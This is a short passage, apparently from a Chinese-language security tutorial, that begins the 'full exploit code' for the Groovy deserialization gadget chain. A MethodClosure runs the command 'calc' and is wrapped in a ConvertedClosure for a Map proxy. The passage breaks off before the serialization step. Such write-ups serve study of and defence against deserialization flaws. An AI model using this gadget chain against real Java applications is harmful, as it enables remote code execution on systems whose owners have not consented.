1,完整利用代码如下:
public class groovtest {
static String command = "calc";
public static void main(String[] args){
// write object
try{
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure(command,"execute");
final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");
//生成class类型的数组
Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
//在这个class类型中存入map类型的接口
allInterfaces[0] = Map.class;